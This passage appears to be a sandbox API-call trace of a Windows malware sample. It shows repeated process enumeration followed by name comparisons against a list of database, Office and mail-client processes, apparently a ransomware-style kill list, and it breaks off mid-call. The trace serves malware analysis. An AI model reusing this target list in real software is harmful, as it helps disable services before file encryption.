th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="configuringlisa.exe")) returned 1 [0028.094] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="terrace.exe")) returned 1 [0028.094] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="temporal-spine.exe")) returned 1 [0028.095] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="softwarehelenaestimates.exe")) returned 1 [0028.095] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="freight_bradley_website.exe")) returned 1 [0028.096] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vaccine.exe")) returned 1 [0028.105] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-nasa-deaths.exe")) returned 1 [0028.105] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hull grammar candles.exe")) returned 1 [0028.106] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0028.106] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0028.107] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0028.107] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0028.108] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0028.108] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0028.109] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0028.109] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0028.109] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0028.110] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0028.110] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0028.111] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0028.111] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0028.112] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0028.112] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0028.113] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0028.114] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0028.114] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0028.115] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0028.116] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0028.116] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0028.117] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0028.118] Process32NextW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0028.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb0 [0028.270] Process32FirstW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0028.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb0 [0028.453] Process32FirstW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0028.596] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb0 [0028.599] Process32FirstW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0028.736] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb0 [0028.739] Process32FirstW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0028.876] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb0 [0028.879] Process32FirstW (in: hSnapshot=0xb0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0029.038] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23c [0029.097] Process32FirstW (in: hSnapshot=0x23c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0030.055] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23c [0030.059] Process32FirstW (in: hSnapshot=0x23c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0030.577] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) [0030.577] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x25c [0030.634] Process32FirstW (in: hSnapshot=0x25c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0031.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23c [0031.131] Process32FirstW (in: hSnapshot=0x23c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0031.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23c [0031.448] Process32FirstW (in: hSnapshot=0x23c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0031.935] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0031.940] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x258 [0032.409] Process32FirstW (in: hSnapshot=0x258, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0032.834] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0032.840] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0033.296] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0033.302] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0033.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23c [0033.948] Process32FirstW (in: hSnapshot=0x23c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.344] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x23c [0034.349] Process32FirstW (in: hSnapshot=0x23c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.888] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0034.893] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x268 [0035.449] Process32FirstW (in: hSnapshot=0x268, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.837] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0035.843] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.246] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0036.251] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0036.674] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278 [0036.679] Process32FirstW (in: hSnapshot=0x278, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.173] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0037.179] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.565] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x264 [0037.572] Process32FirstW (in: hSnapshot=0x264, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0039.340] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0039.345] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.762] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0040.768] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0041.590] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0041.595] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.803] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0042.808] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.280] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0044.317] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.929] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0044.935] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0045.574] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.574] lstrcmpiW (lpString1="[System Process]", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0045.574] lstrcmpiW (lpString1="[System Process]", lpString2="msftesql.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="sqlagent.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwriter.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="oracle.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="ocssd.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="dbsnmp.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="synctime.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopqos.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvc.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpplussvc.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpussvc.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="xfssvccon.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopservice.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="ocautoupds.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="encsvc.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="firefoxconfig.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="tbirdconfig.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="ocomm.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-nt") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-opt") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="dbeng50.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="sqbcoreservice.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="excel.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="infopath.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="msaccess.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="mspub.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="onenote.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="outlook.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="powerpnt.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="stream.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="thebat.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="thebat64.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="Thunderbird.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="visio.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="winword.exe") returned -1 [0045.575] lstrcmpiW (lpString1="[System Process]", lpString2="wordpad.exe") returned -1 [0045.576] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwb.exe") returned -1 [0045.576] lstrcmpiW (lpString1="[System Process]", lpString2="sqlbrowser.exe") returned -1 [0045.576] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcagntsvc.exe") returned -1 [0045.576] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcencsvc.exe") returned -1 [0045.576] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcisqlplussvc.exe") returned -1 [0046.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0046.511] Process32FirstW (in: hSnapshot=0x270, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="msftesql.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="sqlagent.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwriter.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="oracle.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="ocssd.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="dbsnmp.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="synctime.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopqos.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvc.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpplussvc.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpussvc.exe") returned -1 [0046.512] lstrcmpiW (lpString1="[System Process]", lpString2="xfssvccon.exe") returned -1 [0046.512] lstrcmpiW 